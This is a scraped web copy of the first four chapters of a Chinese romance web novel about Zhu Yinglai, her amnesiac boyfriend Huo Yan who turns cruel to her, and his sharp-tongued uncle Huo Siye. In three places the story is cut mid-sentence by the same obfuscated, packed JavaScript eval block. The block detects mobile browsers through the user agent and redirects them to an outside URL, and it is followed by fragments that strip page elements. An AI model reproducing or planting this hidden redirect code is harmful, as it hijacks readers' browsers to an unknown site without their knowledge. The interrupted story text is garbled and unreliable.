《他一定很爱你》 1. 第 1 章 “祝莺来就不是个好东西!兄弟,你这次出车祸全是她害的!” “要不是她那天又跟你闹分手,逼你马上飞过去找她,你就不会在去机场的路上遭遇意外。” “我们这帮朋友一直都不喜欢祝莺来,偏偏你跟着了魔一样,非要上赶着做那个狐狸精的舔狗,她成天摆千金大小姐的臭架子,对你吆五喝六的,明摆着没把你当回事。” …… “阿延。” 一声甜润温柔的嗓音掐断了霍延乱七八糟的思绪,将他拉回现实。 祝莺来在霍延的床边坐下,手里端着一碗冒着热气的中药,苦涩的味道飘在空气中,光是闻着就令人眉头紧锁。 “我问过医生,加糖不影响药性,药没那么苦,口感会好一点。” 祝莺来舀了一勺深褐色的药汤,低头吹了又吹,等滚烫的药汤变成适口温度才端着碗往霍延嘴边递。 她用轻哄的语气说:“你尝尝,我还去前门大街买了你爱吃的果脯,喝完药吃点甜的嘴巴就不发苦了。” 话音落,跟着祝莺来上楼的保姆颇有眼力见地走上前。 保姆手里的托盘装着不同口味的果脯,用白色瓷碟按宫格摆放得整整齐齐,精致又好看。 种类繁多,又避开了霍延不爱吃的类型。 祝莺来的轻声细语和精心准备,换来的只有霍延眉眼之间流露的嫌恶。 “拿走,闻着都倒胃口。”不知道说的是人还是中药。 祝莺来脸上的笑意僵了一瞬,随后恢复如常,耐心劝道:“良药苦口,这个老中医是我好不容易请到北京来的,他最擅长治疗脑外伤导致的神经受损……” 话没说完就被霍延烦躁地打断了,音量拔高,语气特别冲:“我让你拿走,你听不懂人话还是耳聋?” 保姆是看着霍延长大的,知道他性子素来温和,特别是对祝莺来,从小到大一句重话没跟她说过,一点脾气没有,只有哄和宠的份。 要是霍延哪天恢复了记忆,回想这段时间性情大变对祝莺来的所作所为,怕是要悔恨得扇自己耳光。 保姆看着祝莺来微微颤抖的手,不落忍,试着开口:“少爷,中药其实都是祝小姐亲自——” 霍延冷笑一声:“梁姨,你的心这么向着祝家,不如去管家那里结算工资,另谋高就。” 梁姨后背发凉,连忙解释:“少爷您误会了,我没有这个意思。” 说完就噤了声,不敢再多言。 卧室死一样的寂静。 祝莺来强撑的笑意随着放下的碗渐渐变淡。 霍延出车祸那天她还在国外出差,隔着时差,以及霍延父母的有意隐瞒,导致霍延出事三天了她才知情。 一听说霍延出了车祸,祝莺来立刻放下手头的工作,匆忙赶回国。 见到霍延的第一眼,憋了一路的关心还没来得及宣之于口,就听见霍延冷漠地问他父母:“她是谁?” 那双只会用深情目光凝望她的眼眸,从那个瞬间开始再没有一丝一毫的情意。 霍延谁都没忘,唯独把她这个正牌女友忘了个干净。 距离霍延车祸失忆已经过去半个月了。 他身上的软组织挫伤已经好得差不多,腿部的轻微骨折月底也可以拆石膏,只有记忆完全没有恢复的迹象。 这半个月,霍延家请了全国各地的脑科专家来给他会诊,各种各种的检查做了个遍,结果都是脑外伤导致的神经受损,除了记忆缺失没有大碍。 一问什么时候能恢复记忆,专家们给的说法大同小异。 可能几天,可能几个月,可能几年,可能……再也恢复不了了。 祝莺来一边做了最坏打算,如果恢复不了,那就跟霍延重新认识一次,重新培养感情。 一边遍寻中医,想着换一种治疗方式或许有奇效。 她为霍延的病情操碎了心,反观霍延,对她的厌恶却与日俱增。 祝莺来实在不知道自己做错了什么。 被遗忘的人明明是她。 出事到现在,她一直站在霍延的角度理解他、包容他,每天跟自己说八百次,不要跟病人计较,这些都是暂时的。 ——可是真的是暂时的吗? 原本坚定的信念开始动摇。 她的心也是肉长的,男友堪比人格分裂的变化,每天面对他的恶语相向,怎么可能不委屈难过呢。 “霍延。”祝莺来捧着碗,淡声说:“就算我现在对你来说是个陌生人,你也不应该对我有这么大的敌意吧。” 霍延一看祝莺来这张脸就会头痛。 平心而论,祝莺来长得非常漂亮。 脸型流畅,额头饱满,眼窝深邃,鼻子挺拔小巧,长相很有公主范。 气质是一种钟鸣鼎食之家才能浸润出来的高级和矜贵,世间的沧桑和苦楚不曾沾染她分毫。 朋友之前跟他说过的那些话一直在耳边回响。 祝莺来这张脸好像时时刻刻在提醒他曾经做过舔狗的事实。 他的自尊和骄傲完全无法接受。 一想到这,霍延的头疼得更加厉害,脑子里仿佛有两个敌对的阵营在发生激烈的打斗,但他并不知道那两个阵营具体是什么。 “你也知道自己是个陌生人。” 霍延毫不客气下达逐客令:“出去,别再让我看见你。” 祝莺来强忍脾气,再次把中药碗递给霍延:“行,你喝了药我就走。” “你讨厌我没必要跟自己身体过不去。” 霍延不领情:“用不着,我身体好得很。” 祝莺来“嗯”了一声,不咸不淡地回应:“喝醉的人也爱强调自己没醉。” “你在讽刺我?” “我说错了?” 祝莺来隐忍的情绪在眼底掀起波澜,咬字不受控制咬得更重:“霍延,你的记忆因为车祸产生了缺失,我是你缺失的那个部分。” “缺失这部分记忆对你的生活无关紧要吗?你想不起我,也不愿意想起我,是吗?” 霍延冷呵一声:“少装无辜,我出车祸还不都是你害的。” 祝莺来错愕地问:“什么叫我害的?” 霍延:“如果不是你跟我闹分手,逼我飞过去找你,我那天早上应该去公司,而不是机场。” “我什么时候让你来找我了?”祝莺来一头雾水,“谁跟你说的?这都没有的事。” “是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598359|171944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是是,都是别人对不起你。” 霍延头疼得厉害,没心情跟她争:“赶紧走,看见你就烦。” 祝莺来发红的眼眶在霍延的余光里一晃而过。 霍延感觉自己的心好像被重重拧了一下,脑中的打斗愈发激烈,就像有人用长矛不断刺向他的大脑皮层。 他的头痛得快要炸裂一般。 霍延双手捂住太阳穴,痛苦地垂下头。 祝莺来见他情况不对,眼泪都没来得及擦就凑上去关心:“又头痛了吗?” 同时吩咐梁姨:“快去叫医生!” 梁姨连声答应,转身要下楼叫医生。 同一时间,霍延在极度的痛苦中失去了理智,没能压住心底的暴虐情绪,用仇视的目光瞪着祝莺来,好像她就是这一切痛苦的源头。 “滚出去!” 霍延冲祝莺来喊,特别凶,还抬手打翻了她手上端的中药碗。 药汤从熬好到端上来不过几分钟,泼到皮肤上是会立刻烫出水泡的程度。 一切发生在瞬息之间。 祝莺来看着倾泻的药汤,本能要躲开,却有股外力比她的反应更快。 她细瘦的手腕被宽阔的大手握住,然后猛地往后一带。 祝莺来趔趄两步,迎面撞上坚实有力的胸膛,隔着柔软亲肤的毛衣面料。 犹如从高处坠落,失重之际忽然被绵密如丝的云朵接住,她毫发无损。 砰的一声! 药碗被摔碎,中药汤溅了一地。 “啊!”梁姨吓得惊声尖叫。 碎片飞溅的间隙,脑子发懵的祝莺来感觉自己的腰被托住,紧接着身体腾空了一瞬。 眨眼的功夫,她已经被人从身前挪到了身后。 腰侧那股强势的触感也随之消失。 祝莺来一抬眸。 修身版型的黑色高领毛衣被倒三角身材撑出冷硬挺拔的轮廓。 毛衣扎进裤腰,被皮带收紧,宽肩窄腰,背肌随着动作微微起伏,透出隐隐的不容忽视的力量感。 中药汤一滴也没溅到祝莺来的格子半身裙上。 男人干净平整的阔腿裤却被溅到许多大小不一的中药汤渍。 深褐色的药汤点子落在料子名贵的白色裤腿上,扎眼又明显。 男人混不在意,眼风扫过这一地狼藉,落在霍延身上。 霍延不知道他堂叔霍斯也是什么时候进来的。 单单这么被霍斯也看着,霍延就感受到一种无形的压迫感,甚至让他暂时忽略了脑部的剧烈疼痛。 “听佣人说,堂嫂天天因为你出车祸的事情哭,我还以为堂侄你命不久矣了,没想到精神头这么好,还能让中药碗表演跳水。” 霍斯也看了眼自己满是汤药点子的裤腿,语气一贯漫不经心,似笑非笑地说:“瞧瞧这水花溅的,在奥运会表演都能给观众席的人洗个淋浴了。” 霍延的喉结重重地滚了滚,不知道是痛的还是吓的,一滴冷汗从额头顺着下颌线滑落在被子上,晕开成一小团水渍。 他怀疑房间的暖气坏了。 否则一下子怎么感觉这么冷,寒意以霍斯也为圆心,像突然疯狂生长的藤蔓朝他袭来。 2. 第 2 章 “……小叔。” 霍延再次咽了口唾沫,心里再发憷,脸上也要故作镇定:“你怎么来了?” 霍斯也是他堂叔,但论年龄,霍斯也只比他年长三岁。 霍斯也的父亲晚婚,娶了一个小他15岁的妻子,40岁才有了霍斯也这个独子,这才导致辈分压他一头。 而再往上数一辈,他爷爷和霍斯也的父亲是亲兄弟。 兄弟之争从他们共存于这个世界那天就开始了。 哪怕霍斯也的父亲被任命为新一任集团董事,这场斗争也没有划上句号。 长辈不合,晚辈自然不睦。 霍斯也和霍延在家族里分属两派。 两派心照不宣维持表面的和谐,背地里一直水火不容。 但辈分只是霍延憷霍斯也的一个微不足道的理由。 霍延单是想想霍斯也曾经做过的那些事,就觉得他脸上的笑容都能卷起一阵阴风,风里还带刀。 “探病。”霍斯也勾了勾唇,慢条斯理补了句,“结果先看了一场精彩的跳水表演。” 霍延:“……” 霍斯也这张不饶人的嘴就该被列入管制刀具的范畴。 “你恢复得这么好,应该也不需要我关心什么了。”霍斯也淡声道。 霍延扯出一个敷衍的笑:“谢谢小叔记挂。” “歇着吧,我走了。” “小叔慢走。” 塑料叔侄情的对话到此为止。 霍斯也转身走了两步,余光留意到祝莺来还在原地杵着。 她表情怔怔的,不知道是刚才被吓到了没回过魂来,还是被霍延的垃圾态度刺伤正在难过。 不管是哪个原因,罪魁祸首都是同一个人。 霍斯也眼神发沉,正要说点什么,一个打扮艳丽,从头精致到脚的美貌妇人风风火火走了进来。 “怎么了怎么了?我刚才在楼下听见好大的动静!” 说话的人是霍延的母亲,樊蕾。 樊蕾看见地上的一片狼藉,脸色一变,瞪着梁姨:“你怎么做事的,中药碗都端不稳,还不赶紧收拾!” 她声音本来就偏尖,情绪激动起来,嗓音和语气一样扎人耳朵。 梁姨不敢跟樊蕾争辩,闷头认了:“对不起,夫人,我马上收拾。” 这都不算完,樊蕾又看向祝莺来。 樊蕾跟她说话的语气没比对保姆好多少:“你也是,不知道上哪找的江湖骗子,那个药闻着就想吐,阿延怎么喝得下去。” “再说阿延身体已经没大碍了,你到处求医问药,说是关心他,还不都是为了你自己,他谁都没忘,唯独忘了你,这都是天意,你非要逆天而行,回头遭报——” “中药碗是你儿子摔的,跟梁姨没关系。” 祝莺来出声打断樊蕾的话,态度不卑不亢:“开药方的人也不是你说的江湖骗子,而是中医院的院长。” “阿延每天都会剧烈头痛好几次,我不觉得这叫身体没大碍。” 最后,她看着樊蕾:“与其担心我是否逆天而行遭报应,阿姨,你不如自己先积点口德。” 樊蕾瞪大眼睛:“你居然敢这么跟我说话?祝莺来,你真的太没教养了!” 她转头看向霍延,仿佛自己才是受委屈的那个:“阿延你看看,这就是你以前交的女朋友,你把她宠上天,她就是这么跟你妈说话的,真不知道你喜欢她什么……” “够了!” 霍延厉声打断樊蕾的喋喋不休。 车祸苏醒之后,他不断听见别人说“不知道你喜欢祝莺来什么”,“你以前跟着了魔一样”……之类的话,每听一次,他对这个名叫祝莺来的女人的厌恶就增加一分。 他曾经在所有人不理解的目光里,死心塌地做一个女人的舔狗。 这个事实就像把他身体的一部分钉死在耻辱柱上。 车祸之后霍延性情大变,每天频繁发作的头疼更是让他的脾气一天比一天差。 樊蕾被霍延吼得一愣,好几秒没敢吱声。 沉默片刻,就在樊蕾都以为霍延要跟以前一样护着祝莺来,对她表达不满的时候,霍延竟然冷漠地命令祝莺来:“给我妈道歉。” 祝莺来眼神错愕:“……你说什么?” 霍延不耐烦重复:“我让你给我妈道歉。” 还冷笑补充:“你一个晚辈对长辈出言不逊,难道不该道歉?” 曾经也有过这样的场景,她被霍延母亲冷嘲热讽为难,霍延在场。 霍延说的却是:“妈,你给鸟鸟道歉。” 事后只有他们两个人的时候,她问霍延:“你当众下你妈妈面子,这样是不是不太好?” 霍延握着她的手,传递给她一种安心的力量:“是她先为难你的,谁不对谁道歉,天经地义。” 他还说:“鸟鸟,尊重都是相互的。别人尊重你,你应该礼尚往来,别人不尊重你,你也该以牙还牙。” 她追问:“哪怕对方是你的父母?” 他语气坚定:“哪怕对方是我的父母。” 物是人非的割裂感让祝莺来的大脑空白了一瞬。 她的手心下意识攥紧成拳,面对霍延无情无理的命令,纵然眼中蓄满泪水也不肯低头。 祝莺来吸吸鼻子,倔强地反问回去:“凭什么?”并表明自己的态度,“我拒绝。” “你指责我出言不逊,你母亲难道没有为老不尊吗?” 霍延直接听笑了:“什么意思,难道我妈还得先给你道歉不成?” “对。” “祝莺来你可真有意思。”霍延满脸嘲弄,“大家说的没错,我以前到底在喜欢你什么啊。你的无礼?你的嚣张?还是你名媛千金的臭架子?” “霍延。”祝莺来的指甲几乎要陷进肉里,声音微颤,每个字硬生生从嗓子眼挤出来,“我没求你喜欢我。” 霍延冷呵,说话更难听:“是啊,都是我求你,我以前就是祝大小姐身边的一条狗。” 从小到大没人对她说过这么重的话。 这话还是从本该最不会对她说重话的人嘴里讲出来的。 祝莺来的眼眶憋得通红,视线之内被笼上一层水雾。 这时,一声带着些许京片子韵味的男音接了霍延的话。 “那你先别狗叫了。” 霍斯也低头看了眼自己的腿。 裤腿上面分布不均的深褐色中药汤渍太过扎眼,任谁也没办法忽视。 “各位怎么只论长幼次序不论先来后到啊。” 霍斯也轻笑一声,意有所指地对樊蕾说:“堂嫂,本该进你儿子胃里的中药可是全喂我裤子上了。” “这茬儿要不先论论?” 虽是平辈,樊蕾对这个小丈夫二十来岁的堂兄弟也犯憷。 樊蕾干笑,为儿子开脱:“斯也,瞧你这话说的,阿延他也不是故意的。” “怎么不是。”霍斯也笑了笑,平常的语气,威逼的态度,“他很故意。” “需要让佣人再端碗中药上来,我给堂嫂现场还原一遍吗?” 霍斯也打量了一下樊蕾身上的高定款粗花呢套装:“这次泼堂嫂腿上怎么样?堂嫂宽容大度,肯定也会觉得我不是故意的。” 樊蕾被霍斯也笑里藏刀的神色震慑到,也勾起了心底对霍斯也的本能恐惧。 她下意识后退两步,拔高音量虚张声势:“霍斯也,你犯浑也看看场合,这不是你自己家!” “我霍斯也犯浑什么时候看过场合?” 霍斯也像是听了什么天大的笑话,狂妄又玩味:“原来我在堂嫂心里这么有涵养吗,真是深感荣幸。” 樊蕾:“你——!” “你到底想做什么?”霍延抬起头,眼神直逼霍斯也。 霍斯也迎上霍延的视线,漫不经心地笑道:“堂侄泼我一裤子中药,连个歉都不道吗?” 霍延咬牙切齿:“是你自己凑上去的。” 霍斯也无所谓:“那我不管。” “霍斯也你他妈讲不讲理!” “犯浑讲他妈什么理。” “……” “自己犯的错都没认还要求上别人了。”霍斯也懒懒散散地问,“你被车撞到的只是脑子吗?怎么感觉缺斤少两的人品也撞没了。” 霍延想回嘴,被再次袭来的剧烈头疼剥夺了说话的力气,他捂着自己的头,吃痛地蜷缩在床上。 樊蕾冲到床边,一边忙着关心儿子,一边使唤梁姨去叫医生。 房间霎时乱作一团。 只有霍斯也注意到在霍延又爆发头疼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598360|171944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候,祝莺来没有再第一时间冲上去关心,而是头也不回离开了。 外面不知道什么时候又下起大雪。 祝莺来从霍延家别墅出来,掏出手机在平台上打车。 别墅在京郊,地段偏。 这里的住户有私车有司机,对公共交通的需求几乎为零,市政规划一直没把地铁新线路往这边通。 恶劣天气,祝莺来不断加价也没有司机接单。 漫天鹅毛大雪,明明才中午,天已经阴沉得快要入夜一样。 周围的植物和建筑都被雪铺成白色,路上一个行人也没有。 祝莺来感觉自己被困在这个由黑白构成的世界里,回应她的只有死寂和刺骨的冷。 呼出的气变成白雾升腾在半空,被寒风一吹就消散。 比祝莺来的手先冻僵的是她的手机。 屏幕一黑,手机在寒风中宣告罢工。 “……” 这辈子没这么狼狈过。 祝莺来捏着变成板砖的手机,抬头望这漫天大雪,正在犹豫是步行到能打到车的马路上,还是扭头回去让霍延家派辆车送她。 前者受冻,后者受气。 怎么选都一样烂。 忽然。 黑白世界里闯入一抹夺目的红。 双R标志的黑红跑车平稳停在祝莺来面前。 副驾的车窗降下来,霍斯也单手搭在方向盘上,偏头看向站在廊下的祝莺来,薄唇轻启:“上车。” 祝莺来跟霍延是青梅竹马,两个人一起长大,谈恋爱后关系更进一步,她自然跟霍延同仇敌忾。 再加上她听了太多霍斯也的“丰功伟绩”,在她心里,霍斯也跟佛口蛇心的混蛋没什么区别。 霍斯也今天接二连三的好心,让祝莺来心里直犯嘀咕。 无事献殷勤,非奸即盗…… 霍斯也像是洞悉了祝莺来的想法,饶有意味反问她:“怎么,怕我把你卖了,青天白日都不敢上我的车?” 说不上是激将法起了效果,还是祝莺来被冻得脑子发木没办法思考更多,她心一横,走上前,拉开车门坐了进去。 “小叔真会说笑。” 祝莺来轻哼着瞥了霍斯也一眼,底气十足地警告他:“你要是把我卖了,就算逃到外太空,我姥爷也会追上去把刀架你脖子上要你的命。” 霍斯也“嗯”了一声,似笑非笑:“这我信。” 祝家老爷子在生意场上一贯雷霆手段,杀伐果断,年轻时候那张凶神恶煞的黑.道.大.哥脸到了老年更是权威。 老爷子唯独对祝莺来这个掌上明珠般的外孙女宠爱无度,一提到祝莺来张口闭口都是“我乖宝”。 这件事在名流圈人尽皆知。 话音落,霍斯也话锋一转:“不过,真空环境老爷子要怎么把我刀架我脖子上?” 祝莺来被他问得一秒词穷,脸懵懵的。 霍斯也并不需要她回答:“你姥爷一把年纪,咱也别给老人家上难度了,我就在地球上逃吧。” “……” 祝莺来忍住翻白眼的冲动:“合着我还该谢谢您?” 霍斯也像是没听出她阴阳怪气的敬语:“不客气。” “…………” 一股无名火直窜祝莺来的天灵盖。 祝莺来握住车门把手,想开门下车。 同一时间,咔哒一声。 霍斯也把车门锁了。 祝莺来脸上难掩火气,平时跟着霍延叫惯的称呼也没了:“霍斯也你——” 一转头,眼前是霍斯也那张近在咫尺的脸。 如果有闲心,她此刻甚至能数清男人如鸦羽一般的睫毛。 霍斯也有一双深邃含情的眼睛。 双目狭长,眼尾微微上挑,瞳孔漆黑得像是被上等的浓墨泼过,明澈透亮。 被他注视的时候,容易滋生出一种错觉——这一秒你在他眼中,下一秒你在他心里。 “到底想干嘛”——没说完的五个字莫名其妙卡在祝莺来的喉咙,上不去也下不来。 “你逃什么?” 霍斯也一瞬不瞬看着祝莺来的脸,不前进,不后退。 世界上只有霍斯也会用兴味的语气这么称呼她:“该逃的人不是我吗?公主殿下。” 3. 第 3 章 “公主”这个称呼源于他们童年时期玩的一场过家家。 她扮公主,霍延扮王子,霍斯也扮公主的骑士。 游戏过程中,霍斯也就叫她公主,后来游戏结束了,日常生活中碰见,霍斯也时不时还这么叫。 左右算个美称,极大满足了当时还是小女生的她的虚荣心,霍斯也要叫,她就随他叫。 再后来,霍斯也出国读书,他们的生活变得少有交集。 霍家两派的关系逐渐恶化,她和霍延的关系越来越亲近,霍斯也对她这个跟亲疏程度不符合的称呼也像带了刺,总让祝莺来感觉到一种嘲弄意味。 比如现在。 祝莺来直直迎上霍斯也的目光,眉心微蹙,语气不满:“你能不能别再叫我公主了。” 霍斯也“哦”了一声,反问:“为什么?” 祝莺来嘀嘀咕咕:“阴阳怪气的,感觉你在骂我。” “想给我扣帽子也给我换一顶轻点的好吗。”霍斯也轻呵一声,“我颈椎还有用。” “……” 霍斯也这张嘴巴一向厉害,祝莺来可说不过他,懒得白费功夫。 她偏头把安全带拉出来,一看卡扣的位置,出声提醒霍斯也:“挪挪位,你挡着我了。” 霍斯也没动:“刚才不是还要下车吗?” 没完没了还。 祝莺来深呼一口气,转换思路,挤出一个甜美的假笑:“不下了,既然小叔都盛情挽留我了,我就赏脸坐一坐小叔的车好了。” 霍斯也闻言挑了挑眉:“我盛情挽留你?” 祝莺来伸出手,纤细白皙的食指点了点落锁的车把门,意有所指:“还不够盛情吗?” 霍斯也的视线随着祝莺来的手移动,看了几秒退回驾驶座,倒没拆她台:“好,多谢公主赏脸。” 劳斯莱斯重新发动。 霍延家别墅在后视镜里逐渐变成一个小点,直到路口转弯,小点也完全消失在视野中。 祝莺来失神地望着窗外,一言不发。 霍斯也把车内暖气调高了两度,还打开了手套箱下面不常用的出风口。算上这个和副驾面前的两个出风口,不同方向的暖气都吹向祝莺来的身体。 外面的雪越下越大,祝莺来之前在冷风久站的体温却在快速回暖,被冻成板砖的手机也能重新开机了。 一开机就进来好几通未接来电,全部来自于北京家里的管家——苏姨。 祝莺来正要回拨,苏姨先打过来了。 一接起来,那边传来苏姨着急的声音:“我的小祖宗欸,你终于接电话了!手机怎么还关机了,再打不通我要报警了!” 祝莺来安抚她:“天太冷冻关机了,我没事。” 苏姨松了口气:“没事就好,你最近出门都不带司机,万一在外面又有个好歹,大家非得急坏了不可。” 祝莺来小时候被绑架过,哪怕现在长大了,她一个人出门,家里的人还是心有余悸。 她不觉得苏姨大惊小怪,只是再次温声安抚:“别担心了苏姨,我好好的,一会儿就到家了。” “好好好。”苏姨语气关切,“我看外面下好大的雪,怕你打不到车,想让司机去接你来着。” “不用,我已经打到车了。” “车牌号发我一下。” 祝莺来一瞬间卡壳。 霍延失忆的事情,她没敢让老爷子知道。 北京家里的佣人、管家和司机,全是老爷子一手安排的,她在北京有什么风吹草动都会传到老爷子耳朵里。 为了瞒住霍延失忆的事情,她这阵子出门都是以工作为借口,也不用家里的司机,而是自己打车。 眼下苏姨突然问起…… 祝莺来一想到霍斯也的连号车牌就两眼一黑。 这跟报他身份证有什么区别。 祝莺来犹豫几秒也没找到合适的借口,苏姨在那边追问:“大小姐?听得见我说话吗?” “嗯……”祝莺来的手指在裙摆上不安地划来划去,脑子飞快运转,支支吾吾什么也说不出来。 她真的太不擅长说谎了。 这时候,祝莺来感觉正在行驶的车停了下来。 一只骨节分明的手从驾驶座伸过来,细长的指节在她眼前勾了勾。 祝莺来疑惑地看过去,霍斯也无声地对她说了四个字:手机给我。 “车牌号发我一下,大小姐。”苏姨还在电话那头催促。 情急之下,祝莺来竟然乖乖地把手机递给了霍斯也。 霍斯也接过手机,从容地跟苏姨打招呼:“苏姨。” “是我,霍斯也。” “昨天回北京的。” “对,鸟鸟跟我在一起,路上碰见了。” “不客气,苏姨,我也正好要回金茂一趟,顺路的事。” “好,先这样,一会儿见。” 电话挂断,霍斯也把手机还给祝莺来:“搞定了。” 祝莺来怔怔接过,过了几秒,由衷地说:“谢谢你。” “你在撒谎这方面还是那么拙劣。”霍斯扯了扯唇,“这么勉强自己做不擅长的事情,为什么?” 祝莺来不知道怎么回答。 她和霍延现在的关系,连她自己都觉得乱如麻。 可是她还在怀揣侥幸,想着瞒一瞒,等之后霍延恢复记忆,一切都会回到正轨。 这种侥幸心理她没办法对霍斯也吐露。 被霍延打翻的中药汤渍还在霍斯也的裤子上,那仿佛是她在恋爱关系里难堪的证明。 “……没什么。”祝莺来偏过头,吸了吸鼻子,声音闷闷的。 霍斯也从扶手箱抽了两张卫生纸递给祝莺来:“瞒这么辛苦,不就是怕你姥爷知道霍延失忆的事情。” “老爷子最疼你,要是知道霍延把你给忘了,还这么对你……”霍斯也“啧”了一声,“火山爆发都不为过。” 祝莺来接过纸巾,小声嘟哝:“知道你还问。” 霍斯也脸上的笑意变淡,声音轻不可闻,近乎自言自语:“是啊,知道我还问。” 祝莺来没听清,瓮声瓮气地问:“你说什么?” “没什么。” 霍斯也继续开车,他这次打开了车载电台。 舒缓的古典乐在车厢流淌,接下来这一路谁也没再开口说话。 一个多小时后,劳斯莱斯开进金茂公馆。 金茂公馆是北京的老牌顶豪别墅区,位于朝阳公园东岸,地处CBD北端,毗邻繁华都市,闹中取静。 这个区域的土地几乎绝版,金茂公馆的房源稀缺,房价比西城区的顶级学区房还高,业主大多来自京圈的老钱家族。 当年金茂公馆一开盘,祝老爷子就颇有前瞻性地购置了一套房产,后来祝莺来一出生就落户在这里,生活在人大附中的学区,从幼儿园就享受优秀的教育资源。 同样有前瞻性的还有霍斯也和霍延的父亲,他们三家也因此做了邻居。 不过,五年前霍延家的生意出问题赔了钱,金茂的别墅被银行收走抵债后,他们家从朝阳搬到了通州。 苏姨算着时间在别墅外面等,一看霍斯也的车开过来就迎了上去。 短暂的寒暄过后,霍斯也准备开车离开。 祝莺来突然想起什么,走回去敲了敲副驾的车窗。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598361|171944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 车窗降下,霍斯也偏头看过来。 祝莺来微微弯腰,低声同他讲:“那碗中药是你替我档的,你这条裤子该我赔,我一会儿折现转你微信,你收一下。” 霍斯也听完淡声问:“是你赔我,还是你替霍延赔我?” 祝莺来愣了愣,没太懂:“有区别么?”不都是赔。 “当然有。”霍斯也眉眼变得疏冷,浮着一层让人琢磨不透的郁色,“你和霍延又没领证,现在就以夫妇一体的姿态自居,不觉得太早了吗?” 夫妇一体? 祝莺来莫名道:“我没那个意思。” “那你还问我有没有区别。” 祝莺来词穷了几秒,最后都无奈了:“ok,你逻辑满分,我甘拜下风。” “是我赔你的,这样可以吗?” 霍斯也眉眼间的郁色散去不少:“可以。” 祝莺来刚挺腰站直,又听见:“不过我不接受转账。” “一起去店里买,我挑,你付款。” 半生不熟的关系,祝莺来不太情愿,她找了个合理借口婉拒:“你自己买了找我报销吧,我们都挺忙的,时间可能碰不上。” “我明天就有空。”霍斯也看着祝莺来,“你呢?” 祝莺来刚想说自己没空,霍斯也直接把她这话堵死了:“你说的忙该不会是继续去给霍延端茶倒水最后收获一句‘滚出去’吧?” “……” 扎心如果按等级高低来判刑,霍斯也不判死刑也判无期了。 祝莺来放弃挣扎:“明天几点?” “午饭过后我来接你,下午一点?” “行。” 当天晚上睡觉前,祝莺来把半个月来设置的早起闹钟关了。 这段时间她不仅要忙工作,还为霍延的病情奔波,天天早出晚归。 明天周末,又不用去霍延家,也就没必要早起了。 次日睡到自然醒,一看时间快到中午了,下午要陪霍斯也出门买裤子,祝莺来赶紧起床洗漱,然后下楼吃饭。 从电梯里出来,祝莺来往餐厅走,边走边问:“苏姨,中午吃什么呀?” “蓝鳍金枪鱼刺身,避风塘帝王蟹,还有黄鱼花胶羹。” 回答她的并不是苏姨,而是—— “姥爷?”祝莺来停下脚步,等看清坐在客厅沙发喝茶的人后,眼睛一亮,整个人肉眼可见的雀跃,“姥爷!” 沙发上端坐着一位精神矍铄的老人,身姿挺拔,脊背硬朗。 老人穿着一身中山装,脖子上戴着一根粗粗的黄金古巴链,链条上还挂着一个同材质的龙头吊坠,链身和龙头闪烁着璀璨耀眼的金色光泽。 鬓角的白发是岁月在他身上留下痕迹的象征,但这些痕迹丝毫没有削减他身上与生俱来的霸气,单单坐在那里就像港片里金盆洗手黑白通吃的社团老大哥。 祝莺来激动地跑过去,坐在老人身边,亲昵地挽住他的胳膊:“你怎么来北京了?都不提前跟我说,我好去接你嘛。” “哎,这不是想给我的小乖宝一个惊喜吗。” 一跟祝莺来说话,老人身上凶神恶煞的气质就消散了,取而代之的是慈爱和喜悦。 祝烈义捏捏祝莺来的脸,仔细打量她之后,眉心微蹙:“半个月瘦了一圈,发生了什么事?” 祝莺来心虚目移,笑着打哈哈:“没事啊,就是工作有点忙啦,上次你见我的时候我有点水肿,现在水肿消了,所以显得人瘦了。” 祝烈义叹了口气,见不得外孙女这么逞强,开门见山地问:“霍延的事情你还打算瞒姥爷多久?” 祝莺来的笑意倏地僵在脸上。 4. 第 4 章 祝莺来下意识要装傻,否认。 她抬眸对上祝烈义的视线,老人眼神里的心疼像酸水灌进她的身体,她什么话都说不出来了。 连日来累计的委屈在此刻如发酵的面团。 祝莺来吸了吸鼻子,靠在祝烈义的肩头,埋头蹭了蹭,声音沙哑:“我以为已经瞒得很好了……” 祝烈义轻轻捏了捏祝莺来的鼻子,一脸无奈:“你从小就不擅长撒谎。” 祝莺来弱弱反驳:“隐瞒和撒谎还是不一样嘛。” 祝烈义如实说:“都很拙劣。” “姥爷!”祝莺来不满抗议。 “好好好,我乖宝已经很努力了。”哄完外孙女,祝烈义说回正题上,“昨天跟你泽阿公喝茶,他问我霍延身体恢复了没有,给我问得一头雾水,一跟他打听,我才知道霍延半个月前出了车祸。” “这么大的事情你都没跟我说,我感觉有猫腻,就让小苏去查了查。” 泽阿公是祝烈义的老朋友,两个人都是纳塔拉亚的华裔,久居国外。 